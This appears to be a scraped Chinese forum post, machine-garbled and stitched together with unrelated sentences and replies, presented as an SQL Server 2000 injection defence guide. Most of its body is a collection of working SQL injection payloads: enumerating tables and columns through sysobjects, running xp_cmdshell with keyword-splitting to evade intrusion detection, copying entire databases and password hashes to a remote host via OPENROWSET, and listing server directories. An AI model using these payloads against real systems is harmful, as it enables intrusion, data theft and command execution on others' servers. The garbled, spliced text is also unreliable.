仓酷云
标题:
MSSQL教程之SQL Server 2000 注进防护年夜全(二)
[打印本页]
作者:
飘飘悠悠
时间:
2015-1-16 22:22
标题:
MSSQL教程之SQL Server 2000 注进防护年夜全(二)
因此我们的保存数据方法就是:在删除的动作开始之前,把表数据备份起来,然后留一个空表,在空表上执行“删除”操作。server
传统查询机关:
select*FROMnewswhereid=...ANDtopic=...AND.....
adminand1=(selectcount(*)from[user]whereusername=victimandright(left(userpass,01),1)=1)anduserpass
select123;--
;usemaster;--
:aornamelikefff%;--显现有一个叫ffff的用户哈。
and1(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandstatus>0)wherename=ffff;--
申明:
下面的语句是失掉数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
经由过程检察ffff的用户材料可得第一个用表叫ad
然后依据表名ad失掉这个表的ID
ffff;update[users]setemail=(selecttop1idfromsysobjectswherextype=uandname=ad)wherename=ffff;--
象上面如许就能够失掉第二个表的名字了
ffff;update[users]setemail=(selecttop1namefromsysobjectswherextype=uandid>581577110)wherename=ffff;--
ffff;update[users]setemail=(selecttop1count(id)frompassword)wherename=ffff;--
ffff;update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)
wherename=ffff;--
ffff;update[users]setemail=(selecttop1namefrompasswordwhereid=2)
wherename=ffff;--
execmaster..xp_servicecontrolstart,schedule
execmaster..xp_servicecontrolstart,server
sp_addextendedprocxp_webserver,c: empxp_foo.dll
扩大存储就能够经由过程一样平常的办法挪用:
execxp_webserver
一旦这个扩大存储实行过,能够如许删除它:
sp_dropextendedprocxp_webserver
insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)-
insertintousersvalues(667,123,123,0xffff)-
insertintousersvalues(123,admin--,password,0xffff)-
;anduser>0
;;and(selectcount(*)fromsysobjects)>0
;;and(selectcount(*)frommysysobjects)>0//为access数据库
一般打针的一些先容:
A)ID=49这类注进的参数是数字型,SQL语句原貌大抵以下:
select*from表名where字段=49
注进的参数为ID=49And[查询前提],便是天生语句:
select*from表名where字段=49And[查询前提]
(B)Class=一连剧这类注进的参数是字符型,SQL语句原貌大抵概以下:
select*from表名where字段=一连剧
注进的参数为Class=一连剧and[查询前提]and=,便是天生语句:
select*from表名where字段=一连剧and[查询前提]and=
(C)搜刮时没过滤参数的,如keyword=关头字,SQL语句原貌大抵以下:
select*from表名where字段like%关头字%
注进的参数为keyword=and[查询前提]and%25=,便是天生语句:
select*from表名where字段like%and[查询前提]and%=%
;;and(selectTop1namefromsysobjectswherextype=Uandstatus>0)>0
sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=Uandstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。
;;and(selectTop1col_name(object_id(表名),1)fromsysobjects)>0
从⑤拿到表名后,用object_id(表名)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
post.htm内容:次要是便利输出。
<iframename=psrc=#width=800height=350frameborder=0></iframe>
<br>
<formaction=http://test.com/count.asptarget=p>
<inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--"style="width:750">
<inputtype=submitvalue=">>>">
<inputtype=hiddenname=fnovalue="2,3">
</form>
列举出他的数据表名:
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表能够如许读出来(在前提后加上andname方才失掉的表名)。
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype=uandstatus>0andnamevote);--
然后id=1552andexists(select*fromaaawhereaaa>5)
读出第二个表,^^^^^^一个个的读出,直到没无为止。
读字段是如许:
id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),1));--
然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
id=1552;updateaaasetaaa=(selecttop1col_name(object_id(表名),2));--
然后id=1552andexists(select*fromaaawhereaaa>5)堕落,失掉字段名
初级技能:
[取得数据表名][将字段值更新为表名,再设法读出这个字段的值便可失掉表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname你失掉的表名查出一个加一个])[where前提]
selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin(table1,table2,…)
经由过程SQLSERVER注进毛病建数据库办理员帐号和体系办理员帐号[以后帐号必需是SYSADMIN组]
[取得数据表字段名][将字段值更新为字段名,再设法读出这个字段的值便可失掉字段名]
update表名set字段=(selecttop1col_name(object_id(要查询的数据表名),字段列如:1)[where前提]
绕过IDS的检测[利用变量]
declare@asysnameset@a=xp_+cmdshellexec@adirc:
declare@asysnameset@a=xp+_cm+dshellexec@adirc:
1、开启远程数据库
基础语法
select*fromOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)
参数:(1)OLEDBProvidername
2、个中毗连字符串参数能够是任何和端口用来毗连,好比
select*fromOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable
要复制方针主机的全部数据库,起首要在方针主机上和本人呆板上的数据库创建毗连(怎样在方针主机上创建远程毗连,方才已讲了),以后insert一切远程表到当地表。
基础语法:
insertintoOPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=apachy_123,select*fromtable1)select*fromtable2
这行语句将方针主机上table2表中的一切数据复制到远程数据库中的table1表中。实践使用中得当修正毗连字符串的IP地点和端口,指向必要的中央,好比:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromtable2
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysdatabases)
select*frommaster.dbo.sysdatabases
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysobjects)
select*fromuser_database.dbo.sysobjects
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_syscolumns)
select*fromuser_database.dbo.syscolumns
以后,即可以从当地数据库中看到方针主机的库布局,这已轻而易举,未几讲,复制数据库:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable1)select*fromdatabase..table1
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*fromtable2)select*fromdatabase..table2
......
3、复制哈西表(HASH)
这实践上是上述复制数据库的一个扩大使用。登录暗码的hash存储于sysxlogins中。办法以下:
insertintoOPENROWSET(SQLOLEDB,uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;,select*from_sysxlogins)select*fromdatabase.dbo.sysxlogins
失掉hash以后,就能够举行暴力破解。这必要一点命运和大批工夫。
遍历目次的办法:
先创立一个一时表:temp
5;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
5;inserttempexecmaster.dbo.xp_availablemedia;--取得以后一切驱动器
5;insertintotemp(id)execmaster.dbo.xp_subdirsc:;--取得子目次列表
5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--取得一切子目次的目次树布局,并寸进temp表中
5;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:webindex.asp;--检察某个文件的内容
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshelldirc:*.asp/s/a;--
5;insertintotemp(id)execmaster.dbo.xp_cmdshellcscriptC:InetpubAdminScriptsadsutil.vbsenumw3svc
5;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--(xp_dirtree合用权限PUBLIC)
写进表:
语句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(sysadmin));--
语句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(serveradmin));--
语句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(setupadmin));--
语句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(securityadmin));--
语句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(diskadmin));--
语句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_SRVROLEMEMBER(bulkadmin));--
语句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(selectIS_MEMBER(db_owner));--
把路径写到表中往:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(pathsvarchar(100),idint)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreec:-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs where paths not in(@Inetpub))-
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtreee:web--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0(select top 1 paths from dirs1)-
有了数据以后,我们就要想一个比较统一的方法来闪回。上面我们说了对于DML操作,可以通过反向执行所有逆操作来实现,对于语句里面的DDL,只能直接跳过。原因是一个DDL不一定有直接的逆操作。
作者:
变相怪杰
时间:
2015-1-19 09:36
而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~
作者:
只想知道
时间:
2015-1-26 17:16
呵呵,这就是偶想说的
作者:
小女巫
时间:
2015-2-4 20:32
如果处理少量数据,比如几百条记录的数据,我不知道这两种情况哪个效率更高,如果处理大量数据呢?比如有表中有20万条记录.
作者:
分手快乐
时间:
2015-2-10 07:55
代替了原来VB式的错误判断。比Oracle高级不少。
作者:
admin
时间:
2015-3-1 04:03
个人感觉没有case直观。而且默认的第三字段(还可能更多)作为groupby字段很容易造成新手的错误。
作者:
灵魂腐蚀
时间:
2015-3-10 12:46
始终遗憾SQLServer的登陆无法分配CPU/内存占用等指标数。如果你的SQLServer给别人分配了一个只可以读几个表的权限,而这个家伙疯狂的死循环进行连接查询,会给你的系统带来很大的负担。
作者:
小魔女
时间:
2015-3-17 07:12
groupby子句可以将查询结果分组,并返回行的汇总信息Oracle按照groupby子句中指定的表达式的值分组查询结果。
作者:
若天明
时间:
2015-3-24 02:26
而写到本地,我又考虑到效率问题.大家来讨论讨论吧,分数不打紧,就给10分,十全十美,没啥对错,各抒己见,但是要有说服力的哦~
欢迎光临 仓酷云 (http://ckuyun.com/)
Powered by Discuz! X3.2